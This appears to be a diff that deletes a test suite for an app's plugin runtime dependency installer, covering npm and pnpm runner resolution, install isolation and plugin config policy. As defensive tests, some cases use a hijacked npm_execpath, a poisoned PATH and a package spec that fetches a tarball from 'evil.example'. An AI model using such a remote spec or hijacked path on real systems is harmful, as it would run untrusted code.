[npmCliPath, "install", "acpx@0.5.3"], - }); - }); - - it("uses the Node-adjacent POSIX npm shim when npm-cli.js is unavailable", () => { - const execPath = "/opt/node/bin/node"; - const npmPath = "/opt/node/bin/npm"; - const runner = resolveBundledRuntimeDepsNpmRunner({ - env: {}, - execPath, - existsSync: (candidate) => candidate === npmPath, - npmArgs: ["install", "acpx@0.5.3"], - platform: "linux", - }); - - expect(runner).toEqual({ - command: npmPath, - args: ["install", "acpx@0.5.3"], - }); - }); - - it("refuses Windows shell fallback when no safe npm executable is available", () => { - expect(() => - resolveBundledRuntimeDepsNpmRunner({ - env: {}, - execPath: "C:\\Program Files\\nodejs\\node.exe", - existsSync: () => false, - npmArgs: ["install"], - platform: "win32", - }), - ).toThrow("Unable to resolve a safe npm executable on Windows"); - }); - - it("ignores Windows pnpm.cmd shims for shell-free installs", () => { - const execPath = "C:\\Program Files\\nodejs\\node.exe"; - const pnpmCmdPath = "C:\\Program Files\\nodejs\\pnpm.cmd"; - - expect( - resolveBundledRuntimeDepsPnpmRunner({ - env: {}, - execPath, - existsSync: (candidate) => candidate === pnpmCmdPath, - platform: "win32", - pnpmArgs: ["install"], - }), - ).toBeNull(); - }); - - it("uses Windows pnpm.exe when available for shell-free installs", () => { - const execPath = "C:\\Program Files\\nodejs\\node.exe"; - const pnpmExePath = "C:\\Program Files\\nodejs\\pnpm.exe"; - - expect( - resolveBundledRuntimeDepsPnpmRunner({ - env: {}, - execPath, - existsSync: (candidate) => candidate === pnpmExePath, - platform: "win32", - pnpmArgs: ["install"], - }), - ).toEqual({ - packageManager: "pnpm", - command: pnpmExePath, - args: ["install"], - }); - }); - - it("refuses POSIX npm shim fallback when npm-cli.js is unavailable", () => { - expect(() => - resolveBundledRuntimeDepsNpmRunner({ - env: { - PATH: "/repo/evil/bin:/usr/bin:/bin", - }, - execPath: "/opt/node/bin/node", - existsSync: (candidate) => candidate === "/usr/bin/npm", - npmArgs: ["install"], - platform: "linux", - }), - ).toThrow("Unable to resolve a safe npm executable"); - }); -}); - -describe("installBundledRuntimeDeps", () => { - it("uses a real write probe for runtime dependency roots", () => { - const accessSpy = vi.spyOn(fs, "accessSync").mockImplementation(() => undefined); - const mkdirSpy = vi.spyOn(fs, "mkdtempSync").mockImplementation(() => { - const error = new Error("read-only file system") as NodeJS.ErrnoException; - error.code = "EROFS"; - throw error; - }); - - expect(isWritableDirectory("/usr/lib/node_modules/openclaw")).toBe(false); - expect(accessSpy).not.toHaveBeenCalled(); - expect(mkdirSpy).toHaveBeenCalledWith( - path.join("/usr/lib/node_modules/openclaw", ".openclaw-write-probe-"), - ); - }); - - it("ignores npm_execpath during Windows installs", () => { - const installRoot = makeTempDir(); - vi.spyOn(process, "platform", "get").mockReturnValue("win32"); - const safeNpmCliPath = path.win32.resolve( - path.win32.dirname(process.execPath), - "node_modules/npm/bin/npm-cli.js", - ); - const attackerNpmCliPath = "C:\\repo\\evil\\npm-cli.js"; - const realExistsSync = fs.existsSync.bind(fs); - vi.spyOn(fs, "existsSync").mockImplementation( - (candidate) => - candidate === attackerNpmCliPath || - candidate === safeNpmCliPath || - realExistsSync(candidate), - ); - spawnSyncMock.mockImplementation((_command, _args, options) => { - writeInstalledPackage(String(options?.cwd ?? ""), "acpx", "0.5.3"); - return { - pid: 123, - output: [], - stdout: "", - stderr: "", - signal: null, - status: 0, - }; - }); - - installBundledRuntimeDeps({ - installRoot, - missingSpecs: ["acpx@0.5.3"], - env: { - npm_config_prefix: "C:\\prefix", - PATH: "C:\\node", - npm_execpath: attackerNpmCliPath, - }, - }); - - expect(spawnSyncMock).toHaveBeenCalledWith( - expect.any(String), - [ - safeNpmCliPath, - "install", - "--omit=dev", - "--ignore-scripts", - "--workspaces=false", - "--no-audit", - "--no-fund", - ], - expect.objectContaining({ - cwd: installRoot, - windowsHide: true, - env: expect.objectContaining({ - npm_config_dry_run: "false", - npm_config_ignore_scripts: "true", - npm_config_legacy_peer_deps: "true", - npm_config_package_lock: "true", - npm_config_save: "false", - npm_config_workspaces: "false", - }), - }), - ); - expect(spawnSyncMock).toHaveBeenCalledWith( - expect.any(String), - expect.any(Array), - expect.objectContaining({ - env: expect.not.objectContaining({ - npm_config_prefix: expect.any(String), - }), - }), - ); - expect(spawnSyncMock).toHaveBeenCalledWith( - expect.any(String), - expect.any(Array), - expect.objectContaining({ - env: expect.not.objectContaining({ - npm_execpath: expect.any(String), - }), - }), - ); - }); - - it("isolates pnpm installs from an enclosing workspace", () => { - const parentRoot = makeTempDir(); - const installRoot = path.join(parentRoot, "repo", "dist-runtime", "extensions", "qa-lab"); - const pnpmBinDir = path.join(parentRoot, "bin"); - fs.mkdirSync(pnpmBinDir, { recursive: true }); - fs.writeFileSync(path.join(pnpmBinDir, "pnpm"), "#!/bin/sh\n", "utf8"); - fs.mkdirSync(path.join(parentRoot, "repo"), { recursive: true }); - fs.writeFileSync( - path.join(parentRoot, "repo", "pnpm-workspace.yaml"), - "packages: []\n", - "utf8", - ); - spawnSyncMock.mockImplementation((_command, _args, options) => { - writeInstalledPackage(String(options?.cwd ?? ""), "zod", "4.3.6"); - return { - pid: 123, - output: [], - stdout: "", - stderr: "", - signal: null, - status: 0, - }; - }); - - installBundledRuntimeDeps({ - installRoot, - missingSpecs: ["zod@4.3.6"], - env: { - PATH: pnpmBinDir, - }, - }); - - expect(spawnSyncMock).toHaveBeenCalledWith( - expect.stringContaining("pnpm"), - expect.arrayContaining(["install", "--ignore-workspace", "--config.minimum-release-age=0"]), - expect.objectContaining({ - cwd: installRoot, - }), - ); - }); - - it("removes reused node_modules symlinks before package-manager repair", () => { - const parentRoot = makeTempDir(); - const sourceRoot = path.join(parentRoot, "openclaw-2026.4.28-source"); - const installRoot = path.join(parentRoot, "openclaw-2026.4.29-target"); - fs.mkdirSync(installRoot, { recursive: true }); - writeInstalledPackage(sourceRoot, "alpha-runtime", "1.0.0"); - fs.symlinkSync( - path.join(sourceRoot, "node_modules"), - path.join(installRoot, "node_modules"), - process.platform === "win32" ? "junction" : "dir", - ); - spawnSyncMock.mockImplementation((_command, _args, options) => { - writeInstalledPackage(String(options?.cwd ?? ""), "beta-runtime", "2.0.0"); - return { - pid: 123, - output: [], - stdout: "", - stderr: "", - signal: null, - status: 0, - }; - }); - - installBundledRuntimeDeps({ - installRoot, - missingSpecs: ["beta-runtime@2.0.0"], - env: {}, - }); - - expect( - fs.existsSync(path.join(sourceRoot, "node_modules", "beta-runtime", "package.json")), - ).toBe(false); - expect(fs.lstatSync(path.join(installRoot, "node_modules")).isSymbolicLink()).toBe(false); - expect( - fs.existsSync(path.join(installRoot, "node_modules", "beta-runtime", "package.json")), - ).toBe(true); - }); - - it("hides async npm child windows for startup repair installs", async () => { - const installRoot = makeTempDir(); - spawnMock.mockImplementation((_command, _args, options) => { - writeInstalledPackage(String(options?.cwd ?? ""), "acpx", "0.5.3"); - const child = new EventEmitter() as ReturnType; - Object.assign(child, { - stdout: new EventEmitter(), - stderr: new EventEmitter(), - }); - queueMicrotask(() => child.emit("close", 0, null)); - return child; - }); - - await repairBundledRuntimeDepsInstallRootAsync({ - installRoot, - missingSpecs: ["acpx@0.5.3"], - installSpecs: ["acpx@0.5.3"], - env: {}, - }); - - expect(spawnMock).toHaveBeenCalledWith( - expect.any(String), - expect.any(Array), - expect.objectContaining({ - cwd: installRoot, - windowsHide: true, - }), - ); - }); - - it("reruns async repair when the generated manifest was missing from an existing tree", async () => { - const installRoot = makeTempDir(); - writeInstalledPackage(installRoot, "acpx", "0.5.3"); - spawnMock.mockImplementation((_command, _args, options) => { - writeInstalledPackage(String(options?.cwd ?? ""), "acpx", "0.5.3"); - const child = new EventEmitter() as ReturnType; - Object.assign(child, { - stdout: new EventEmitter(), - stderr: new EventEmitter(), - }); - queueMicrotask(() => child.emit("close", 0, null)); - return child; - }); - - await repairBundledRuntimeDepsInstallRootAsync({ - installRoot, - missingSpecs: ["acpx@0.5.3"], - installSpecs: ["acpx@0.5.3"], - env: {}, - }); - - expect(spawnMock).toHaveBeenCalledOnce(); - }); - - it("reports async package-manager output as install progress", async () => { - const installRoot = makeTempDir(); - const progress: string[] = []; - spawnMock.mockImplementation((_command, _args, options) => { - const cwd = String(options?.cwd ?? ""); - const child = new EventEmitter() as ReturnType; - Object.assign(child, { - stdout: new EventEmitter(), - stderr: new EventEmitter(), - }); - queueMicrotask(() => { - child.stdout?.emit("data", Buffer.from("added 1 package\n")); - child.stderr?.emit("data", Buffer.from("\u001b[31mnpm notice\u001b[39m\r")); - writeInstalledPackage(cwd, "acpx", "0.5.3"); - child.emit("close", 0, null); - }); - return child; - }); - - await installBundledRuntimeDepsAsync({ - installRoot, - missingSpecs: ["acpx@0.5.3"], - env: {}, - onProgress: (message) => progress.push(message), - }); - - expect(progress).toEqual( - expect.arrayContaining([ - expect.stringMatching( - /^Starting (npm|pnpm) install for bundled plugin runtime deps: acpx@0\.5\.3$/, - ), - expect.stringMatching(/^(npm|pnpm) stdout: added 1 package$/), - expect.stringMatching(/^(npm|pnpm) stderr: npm notice$/), - ]), - ); - }); - - it("emits heartbeat progress while async package-manager install is silent", async () => { - vi.useFakeTimers(); - try { - const installRoot = makeTempDir(); - const progress: string[] = []; - let closeChild!: () => void; - spawnMock.mockImplementation((_command, _args, options) => { - const cwd = String(options?.cwd ?? ""); - const child = new EventEmitter() as ReturnType; - Object.assign(child, { - stdout: new EventEmitter(), - stderr: new EventEmitter(), - }); - closeChild = () => { - writeInstalledPackage(cwd, "acpx", "0.5.3"); - child.emit("close", 0, null); - }; - return child; - }); - - const install = installBundledRuntimeDepsAsync({ - installRoot, - missingSpecs: ["acpx@0.5.3"], - env: {}, - onProgress: (message) => progress.push(message), - }); - - await vi.advanceTimersByTimeAsync(5_000); - expect(progress).toEqual( - expect.arrayContaining([ - expect.stringMatching(/^(npm|pnpm) install still running \(5s elapsed\)$/), - ]), - ); - - closeChild(); - await expect(install).resolves.toBeUndefined(); - } finally { - vi.useRealTimers(); - } - }); - - it("anchors non-isolated external install roots with a package manifest", () => { - const parentRoot = makeTempDir(); - const installRoot = path.join(parentRoot, ".openclaw", "plugin-runtime-deps", "openclaw-test"); - fs.mkdirSync(path.join(parentRoot, "node_modules", "@grammyjs"), { recursive: true }); - spawnSyncMock.mockImplementation((_command, _args, options) => { - const cwd = String(options?.cwd ?? ""); - expect(cwd).toBe(installRoot); - expect(JSON.parse(fs.readFileSync(path.join(cwd, "package.json"), "utf8"))).toEqual({ - name: "openclaw-runtime-deps-install", - private: true, - dependencies: { - "@grammyjs/runner": "^2.0.3", - grammy: "1.37.0", - }, - }); - writeInstalledPackage(cwd, "@grammyjs/runner", "2.0.3"); - writeInstalledPackage(cwd, "grammy", "1.37.0"); - return { - pid: 123, - output: [], - stdout: "", - stderr: "", - signal: null, - status: 0, - }; - }); - - installBundledRuntimeDeps({ - installRoot, - missingSpecs: ["@grammyjs/runner@^2.0.3"], - installSpecs: ["@grammyjs/runner@^2.0.3", "grammy@1.37.0"], - env: { - HOME: parentRoot, - }, - }); - - expect(spawnSyncMock).toHaveBeenCalledWith( - expect.any(String), - expect.not.arrayContaining(["grammy@1.37.0"]), - expect.objectContaining({ - cwd: installRoot, - }), - ); - }); - - it("always includes a dependencies field in the install manifest, even when specs are empty", () => { - const installRoot = makeTempDir(); - - ensureNpmInstallExecutionManifest(installRoot, []); - - const written = JSON.parse(fs.readFileSync(path.join(installRoot, "package.json"), "utf8")) as { - dependencies?: unknown; - }; - expect(written).toHaveProperty("dependencies"); - expect(written.dependencies).toEqual({}); - }); - - it("repairs external install roots from the complete generated dependency plan", async () => { - const installRoot = makeTempDir(); - writeInstalledPackage(installRoot, "alpha-runtime", "1.0.0"); - spawnMock.mockImplementation((_command, args, options) => { - const cwd = String(options?.cwd ?? ""); - expect(args).toEqual(expect.arrayContaining(["install", "--ignore-scripts"])); - expect(JSON.parse(fs.readFileSync(path.join(cwd, "package.json"), "utf8"))).toEqual({ - name: "openclaw-runtime-deps-install", - private: true, - dependencies: { - "alpha-runtime": "1.0.0", - "beta-runtime": "2.0.0", - }, - }); - writeInstalledPackage(cwd, "beta-runtime", "2.0.0"); - const child = new EventEmitter() as ReturnType; - Object.assign(child, { - stdout: new EventEmitter(), - stderr: new EventEmitter(), - }); - queueMicrotask(() => child.emit("close", 0, null)); - return child; - }); - - await repairBundledRuntimeDepsInstallRootAsync({ - installRoot, - missingSpecs: ["beta-runtime@2.0.0"], - installSpecs: ["alpha-runtime@1.0.0", "beta-runtime@2.0.0"], - env: {}, - }); - - expect(spawnMock).toHaveBeenCalledOnce(); - }); - - it("writes the requested package-manager install plan during startup repair", async () => { - const installRoot = makeTempDir(); - writeInstalledPackage(installRoot, "alpha-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - spawnMock.mockImplementation((_command, _args, options) => { - const cwd = String(options?.cwd ?? ""); - expect(JSON.parse(fs.readFileSync(path.join(cwd, "package.json"), "utf8"))).toEqual({ - name: "openclaw-runtime-deps-install", - private: true, - dependencies: { - "beta-runtime": "2.0.0", - }, - }); - writeInstalledPackage(cwd, "beta-runtime", "2.0.0"); - const child = new EventEmitter() as ReturnType; - Object.assign(child, { - stdout: new EventEmitter(), - stderr: new EventEmitter(), - }); - queueMicrotask(() => child.emit("close", 0, null)); - return child; - }); - - await repairBundledRuntimeDepsInstallRootAsync({ - installRoot, - missingSpecs: ["beta-runtime@2.0.0"], - installSpecs: ["beta-runtime@2.0.0"], - env: {}, - }); - - expect(JSON.parse(fs.readFileSync(path.join(installRoot, "package.json"), "utf8"))).toEqual({ - name: "openclaw-runtime-deps-install", - private: true, - dependencies: { - "beta-runtime": "2.0.0", - }, - }); - }); - - it("lets the package manager prune stale deps during package-level repair", async () => { - const installRoot = makeTempDir(); - writeInstalledPackage(installRoot, "alpha-runtime", "1.0.0"); - fs.writeFileSync( - path.join(installRoot, ".openclaw-runtime-deps.json"), - `${JSON.stringify({ specs: ["alpha-runtime@1.0.0"] }, null, 2)}\n`, - "utf8", - ); - spawnMock.mockImplementation((_command, _args, options) => { - fs.rmSync(path.join(installRoot, "node_modules", "alpha-runtime"), { - recursive: true, - force: true, - }); - writeInstalledPackage(String(options?.cwd ?? ""), "beta-runtime", "2.0.0"); - const child = new EventEmitter() as ReturnType; - Object.assign(child, { - stdout: new EventEmitter(), - stderr: new EventEmitter(), - }); - queueMicrotask(() => child.emit("close", 0, null)); - return child; - }); - - await repairBundledRuntimeDepsInstallRootAsync({ - installRoot, - missingSpecs: ["beta-runtime@2.0.0"], - installSpecs: ["beta-runtime@2.0.0"], - env: {}, - }); - - expect( - fs.existsSync(path.join(installRoot, "node_modules", "alpha-runtime", "package.json")), - ).toBe(false); - expect(JSON.parse(fs.readFileSync(path.join(installRoot, "package.json"), "utf8"))).toEqual({ - name: "openclaw-runtime-deps-install", - private: true, - dependencies: { - "beta-runtime": "2.0.0", - }, - }); - expect(fs.existsSync(path.join(installRoot, ".openclaw-runtime-deps.json"))).toBe(false); - }); - - it("warns but still installs bundled runtime deps when disk space looks low", () => { - const installRoot = makeTempDir(); - const warn = vi.fn(); - vi.spyOn(fs, "statfsSync").mockReturnValue( - statfsFixture({ - bavail: 256, - bsize: 1024 * 1024, - }), - ); - spawnSyncMock.mockImplementation((_command, _args, options) => { - writeInstalledPackage(String(options?.cwd ?? ""), "acpx", "0.5.3"); - return { - pid: 123, - output: [], - stdout: "", - stderr: "", - signal: null, - status: 0, - }; - }); - - installBundledRuntimeDeps({ - installRoot, - missingSpecs: ["acpx@0.5.3"], - env: {}, - warn, - }); - - expect(warn).toHaveBeenCalledWith(expect.stringContaining("Low disk space near")); - expect(spawnSyncMock).toHaveBeenCalled(); - expect(fs.existsSync(path.join(installRoot, "node_modules", "acpx", "package.json"))).toBe( - true, - ); - }); - - it("uses an isolated execution root and copies node_modules back when requested", () => { - const installRoot = makeTempDir(); - const installExecutionRoot = makeTempDir(); - spawnSyncMock.mockImplementation((_command, _args, options) => { - const cwd = String(options?.cwd ?? ""); - writeInstalledPackage(cwd, "tokenjuice", "0.6.1"); - return { - pid: 123, - output: [], - stdout: "", - stderr: "", - signal: null, - status: 0, - }; - }); - - installBundledRuntimeDeps({ - installRoot, - installExecutionRoot, - missingSpecs: ["tokenjuice@0.6.1"], - env: {}, - }); - - expect( - JSON.parse(fs.readFileSync(path.join(installExecutionRoot, "package.json"), "utf8")), - ).toEqual({ - name: "openclaw-runtime-deps-install", - private: true, - dependencies: { - tokenjuice: "0.6.1", - }, - }); - expect( - JSON.parse( - fs.readFileSync( - path.join(installRoot, "node_modules", "tokenjuice", "package.json"), - "utf8", - ), - ), - ).toEqual({ - name: "tokenjuice", - version: "0.6.1", - }); - expect(spawnSyncMock).toHaveBeenCalledWith( - expect.any(String), - expect.any(Array), - expect.objectContaining({ - cwd: installExecutionRoot, - }), - ); - }); - - it("installs the full generated plan when plugin-root staging replaces node_modules", () => { - const pluginRoot = makeTempDir(); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "alpha-runtime": "1.0.0", - "beta-runtime": "2.0.0", - }, - }), - ); - writeInstalledPackage(pluginRoot, "alpha-runtime", "1.0.0"); - spawnSyncMock.mockImplementation((_command, args, options) => { - const cwd = String(options?.cwd ?? ""); - expect(cwd).toBe(path.join(pluginRoot, ".openclaw-install-stage")); - expect(args).toEqual(expect.arrayContaining(["install", "--ignore-scripts"])); - writeInstalledPackage(cwd, "alpha-runtime", "1.0.0"); - writeInstalledPackage(cwd, "beta-runtime", "2.0.0"); - return { - pid: 123, - output: [], - stdout: "", - stderr: "", - signal: null, - status: 0, - }; - }); - - expect( - ensureBundledPluginRuntimeDeps({ - env: {}, - pluginId: "local-plugin", - pluginRoot, - }), - ).toEqual({ - installedSpecs: ["alpha-runtime@1.0.0", "beta-runtime@2.0.0"], - }); - expect(spawnSyncMock).toHaveBeenCalledOnce(); - expect( - JSON.parse( - fs.readFileSync( - path.join(pluginRoot, "node_modules", "alpha-runtime", "package.json"), - "utf8", - ), - ), - ).toEqual({ name: "alpha-runtime", version: "1.0.0" }); - }); - - it("uses an OpenClaw-owned npm cache for runtime dependency installs", () => { - const installRoot = makeTempDir(); - spawnSyncMock.mockImplementation((_command, _args, options) => { - writeInstalledPackage(String(options?.cwd ?? ""), "tokenjuice", "0.6.1"); - return { - pid: 123, - output: [], - stdout: "", - stderr: "", - signal: null, - status: 0, - }; - }); - - installBundledRuntimeDeps({ - installRoot, - missingSpecs: ["tokenjuice@0.6.1"], - env: { - HOME: "/Users/alice", - NPM_CONFIG_CACHE: "/Users/alice/.npm-uppercase", - NPM_CONFIG_GLOBAL: "true", - NPM_CONFIG_LOCATION: "global", - NPM_CONFIG_PREFIX: "/Users/alice", - npm_config_cache: "/Users/alice/.npm", - npm_config_global: "true", - npm_config_location: "global", - npm_config_prefix: "/opt/homebrew", - }, - }); - - expect(JSON.parse(fs.readFileSync(path.join(installRoot, "package.json"), "utf8"))).toEqual({ - name: "openclaw-runtime-deps-install", - private: true, - dependencies: { - tokenjuice: "0.6.1", - }, - }); - expect(spawnSyncMock).toHaveBeenCalledWith( - expect.any(String), - expect.any(Array), - expect.objectContaining({ - cwd: installRoot, - env: expect.objectContaining({ - HOME: "/Users/alice", - npm_config_cache: path.join(installRoot, ".openclaw-npm-cache"), - }), - }), - ); - expect(spawnSyncMock).toHaveBeenCalledWith( - expect.any(String), - expect.any(Array), - expect.objectContaining({ - env: expect.not.objectContaining({ - NPM_CONFIG_CACHE: expect.any(String), - NPM_CONFIG_GLOBAL: expect.any(String), - NPM_CONFIG_LOCATION: expect.any(String), - NPM_CONFIG_PREFIX: expect.any(String), - npm_config_global: expect.any(String), - npm_config_location: expect.any(String), - npm_config_prefix: expect.any(String), - }), - }), - ); - }); - - it("fails when npm exits cleanly without installing requested packages", () => { - const installRoot = makeTempDir(); - spawnSyncMock.mockReturnValue({ - pid: 123, - output: [], - stdout: "", - stderr: "", - signal: null, - status: 0, - }); - - expect(() => - installBundledRuntimeDeps({ - installRoot, - missingSpecs: ["tokenjuice@0.6.1"], - env: {}, - }), - ).toThrow( - `package manager install did not place bundled runtime deps in ${installRoot}: tokenjuice@0.6.1`, - ); - }); - - it("accepts package-manager-installed deps without revalidating entry files", () => { - const installRoot = makeTempDir(); - spawnSyncMock.mockImplementation((_command, _args, options) => { - const packageDir = path.join(String(options?.cwd ?? ""), "node_modules", "jszip"); - fs.mkdirSync(path.join(packageDir, "lib"), { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ name: "jszip", version: "3.10.1", main: "./lib/index" }), - ); - fs.writeFileSync(path.join(packageDir, "lib", "index.js"), "export default {};\n"); - return { - pid: 123, - output: [], - stdout: "", - stderr: "", - signal: null, - status: 0, - }; - }); - - installBundledRuntimeDeps({ - installRoot, - missingSpecs: ["jszip@^3.10.1"], - env: {}, - }); - }); - - it("cleans an owned isolated execution root after copying node_modules back", () => { - const installRoot = makeTempDir(); - const installExecutionRoot = path.join(installRoot, ".openclaw-install-stage"); - spawnSyncMock.mockImplementation((_command, _args, options) => { - const cwd = String(options?.cwd ?? ""); - writeInstalledPackage(cwd, "tokenjuice", "0.6.1"); - return { - pid: 123, - output: [], - stdout: "", - stderr: "", - signal: null, - status: 0, - }; - }); - - installBundledRuntimeDeps({ - installRoot, - installExecutionRoot, - missingSpecs: ["tokenjuice@0.6.1"], - env: {}, - }); - - expect(fs.existsSync(installExecutionRoot)).toBe(false); - expect( - JSON.parse( - fs.readFileSync( - path.join(installRoot, "node_modules", "tokenjuice", "package.json"), - "utf8", - ), - ), - ).toEqual({ - name: "tokenjuice", - version: "0.6.1", - }); - }); - - it("does not fail an isolated runtime deps install when temp cleanup races", () => { - const installRoot = makeTempDir(); - const installExecutionRoot = makeTempDir(); - const realRmSync = fs.rmSync.bind(fs); - let blockedCleanup = false; - vi.spyOn(fs, "rmSync").mockImplementation((target, options) => { - if ( - !blockedCleanup && - path.basename(String(target)).startsWith(".openclaw-runtime-deps-copy-") - ) { - blockedCleanup = true; - const error = new Error("Directory not empty") as NodeJS.ErrnoException; - error.code = "ENOTEMPTY"; - throw error; - } - return realRmSync(target, options); - }); - spawnSyncMock.mockImplementation((_command, _args, options) => { - const cwd = String(options?.cwd ?? ""); - writeInstalledPackage(cwd, "tokenjuice", "0.6.1"); - return { - pid: 123, - output: [], - stdout: "", - stderr: "", - signal: null, - status: 0, - }; - }); - - expect(() => - installBundledRuntimeDeps({ - installRoot, - installExecutionRoot, - missingSpecs: ["tokenjuice@0.6.1"], - env: {}, - }), - ).not.toThrow(); - - expect(blockedCleanup).toBe(true); - expect( - JSON.parse( - fs.readFileSync( - path.join(installRoot, "node_modules", "tokenjuice", "package.json"), - "utf8", - ), - ), - ).toEqual({ - name: "tokenjuice", - version: "0.6.1", - }); - }); - - it("rejects invalid install specs before spawning npm", () => { - expect(() => - installBundledRuntimeDeps({ - installRoot: makeTempDir(), - missingSpecs: ["tokenjuice@https://evil.example/t.tgz"], - env: {}, - }), - ).toThrow("Unsupported bundled runtime dependency spec for tokenjuice"); - }); - - it("includes spawn errors in install failures", () => { - spawnSyncMock.mockReturnValue({ - pid: 0, - output: [], - stdout: "", - stderr: "", - signal: null, - status: null, - error: new Error("spawn npm ENOENT"), - }); - - expect(() => - installBundledRuntimeDeps({ - installRoot: "/tmp/openclaw", - missingSpecs: ["browser-runtime@1.0.0"], - env: {}, - }), - ).toThrow("spawn npm ENOENT"); - }); -}); - -describe("createBundledRuntimeDepsPackagePlan config policy", () => { - type RuntimeDepsConfigCase = { - name: string; - config: Parameters[0]["config"]; - includeConfiguredChannels: boolean; - includeEnabledByDefaultPlugins?: boolean; - expectedDeps: string[]; - }; - - function setupPolicyPackageRoot(): string { - const packageRoot = makeTempDir(); - writeBundledPluginPackage({ - packageRoot, - pluginId: "alpha", - deps: { "alpha-runtime": "1.0.0" }, - enabledByDefault: true, - }); - writeBundledPluginPackage({ - packageRoot, - pluginId: "telegram", - deps: { "telegram-runtime": "2.0.0" }, - channels: ["telegram"], - }); - writeBundledPluginPackage({ - packageRoot, - pluginId: "amazon-bedrock", - deps: { "bedrock-runtime": "3.0.0" }, - enabledByDefault: true, - providers: ["amazon-bedrock"], - }); - writeBundledPluginPackage({ - packageRoot, - pluginId: "anthropic", - deps: { "anthropic-runtime": "4.0.0" }, - modelSupport: { modelPrefixes: ["claude-"] }, - providers: ["anthropic"], - }); - writeBundledPluginPackage({ - packageRoot, - pluginId: "openai", - deps: { "openai-runtime": "5.0.0" }, - modelSupport: { modelPrefixes: ["gpt-", "o1", "o3", "o4"] }, - providers: ["openai", "openai-codex"], - }); - return packageRoot; - } - - const cases: RuntimeDepsConfigCase[] = [ - { - name: "includes default-enabled bundled plugins", - config: {}, - includeConfiguredChannels: false, - expectedDeps: ["alpha-runtime@1.0.0"], - }, - { - name: "keeps default-enabled bundled plugins behind restrictive allowlists", - config: { plugins: { allow: ["browser"] } }, - includeConfiguredChannels: false, - expectedDeps: [], - }, - { - name: "includes selected memory slot bundled plugins behind restrictive allowlists", - config: { plugins: { allow: ["browser"], slots: { memory: "alpha" } } }, - includeConfiguredChannels: false, - expectedDeps: ["alpha-runtime@1.0.0"], - }, - { - name: "does not let explicit plugin entries bypass restrictive allowlists", - config: { plugins: { allow: ["browser"], entries: { alpha: { enabled: true } } } }, - includeConfiguredChannels: false, - expectedDeps: [], - }, - { - name: "lets deny override default-enabled bundled plugins", - config: { plugins: { deny: ["alpha"] } }, - includeConfiguredChannels: false, - expectedDeps: [], - }, - { - name: "lets disabled entries override default-enabled bundled plugins", - config: { plugins: { entries: { alpha: { enabled: false } } } }, - includeConfiguredChannels: false, - expectedDeps: [], - }, - { - name: "lets plugin deny override explicit bundled channel enablement", - config: { - plugins: { deny: ["telegram"] }, - channels: { telegram: { enabled: true } }, - }, - includeConfiguredChannels: false, - expectedDeps: ["alpha-runtime@1.0.0"], - }, - { - name: "lets the plugin master toggle suppress explicit bundled channel enablement", - config: { - plugins: { enabled: false }, - channels: { telegram: { enabled: true } }, - }, - includeConfiguredChannels: false, - expectedDeps: [], - }, - { - name: "lets plugin entry disablement override explicit bundled channel enablement", - config: { - plugins: { entries: { telegram: { enabled: false } } }, - channels: { telegram: { enabled: true } }, - }, - includeConfiguredChannels: false, - expectedDeps: ["alpha-runtime@1.0.0"], - }, - { - name: "lets explicit bundled channel enablement bypass restrictive allowlists", - config: { - plugins: { allow: ["browser"] }, - channels: { telegram: { enabled: true } }, - }, - includeConfiguredChannels: false, - expectedDeps: ["telegram-runtime@2.0.0"], - }, - { - name: "keeps channel recovery behind restrictive allowlists", - config: { - plugins: { allow: ["browser"] }, - channels: { telegram: { botToken: "123:abc" } }, - }, - includeConfiguredChannels: true, - expectedDeps: [], - }, - { - name: "includes configured channels during recovery without restrictive allowlists", - config: { channels: { telegram: { botToken: "123:abc" } } }, - includeConfiguredChannels: true, - expectedDeps: ["alpha-runtime@1.0.0", "telegram-runtime@2.0.0"], - }, - { - name: "lets explicit channel disable override recovery", - config: { channels: { telegram: { botToken: "123:abc", enabled: false } } }, - includeConfiguredChannels: true, - expectedDeps: ["alpha-runtime@1.0.0"], - }, - { - name: "includes configured model provider deps", - config: { agents: { defaults: { model: "amazon-bedrock/claude-opus-4-7" } } }, - includeConfiguredChannels: false, - expectedDeps: ["alpha-runtime@1.0.0", "bedrock-runtime@3.0.0"], - }, - { - name: "includes configured bare model owner deps from model support", - config: { agents: { defaults: { model: "gpt-5.5" } } }, - includeConfiguredChannels: false, - expectedDeps: ["alpha-runtime@1.0.0", "openai-runtime@5.0.0"], - }, - { - name: "includes configured bare fallback model owner deps from model support", - config: { - agents: { - defaults: { model: { primary: "unknown-model", fallbacks: ["claude-sonnet-4-6"] } }, - }, - }, - includeConfiguredChannels: false, - expectedDeps: ["alpha-runtime@1.0.0", "anthropic-runtime@4.0.0"], - }, - { - name: "includes configured model provider deps from manifest provider aliases", - config: { agents: { defaults: { model: "openai-codex/gpt-5.5" } } }, - includeConfiguredChannels: false, - expectedDeps: ["alpha-runtime@1.0.0", "openai-runtime@5.0.0"], - }, - { - name: "includes configured model provider deps from aliases", - config: { models: { providers: { "aws-bedrock": { baseUrl: "", models: [] } } } }, - includeConfiguredChannels: false, - expectedDeps: ["alpha-runtime@1.0.0", "bedrock-runtime@3.0.0"], - }, - { - name: "includes configured subagent model provider deps", - config: { agents: { defaults: { subagents: { model: "bedrock/claude-sonnet-4-6" } } } }, - includeConfiguredChannels: false, - expectedDeps: ["alpha-runtime@1.0.0", "bedrock-runtime@3.0.0"], - }, - { - name: "keeps configured provider deps behind restrictive allowlists", - config: { - plugins: { allow: ["alpha"] }, - agents: { defaults: { model: "amazon-bedrock/claude-opus-4-7" } }, - }, - includeConfiguredChannels: false, - expectedDeps: ["alpha-runtime@1.0.0"], - }, - { - name: "can omit default-enabled bundled plugins for post-config repair", - config: {}, - includeConfiguredChannels: true, - includeEnabledByDefaultPlugins: false, - expectedDeps: [], - }, - { - name: "includes configured channels when default-enabled plugins are omitted", - config: { channels: { telegram: { botToken: "123:abc" } } }, - includeConfiguredChannels: true, - includeEnabledByDefaultPlugins: false, - expectedDeps: ["telegram-runtime@2.0.0"], - }, - { - name: "includes configured provider deps when default-enabled plugins are omitted", - config: { agents: { defaults: { model: "amazon-bedrock/claude-opus-4-7" } } }, - includeConfiguredChannels: false, - includeEnabledByDefaultPlugins: false, - expectedDeps: ["bedrock-runtime@3.0.0"], - }, - ]; - - it.each(cases)( - "$name", - ({ config, includeConfiguredChannels, includeEnabledByDefaultPlugins, expectedDeps }) => { - const result = 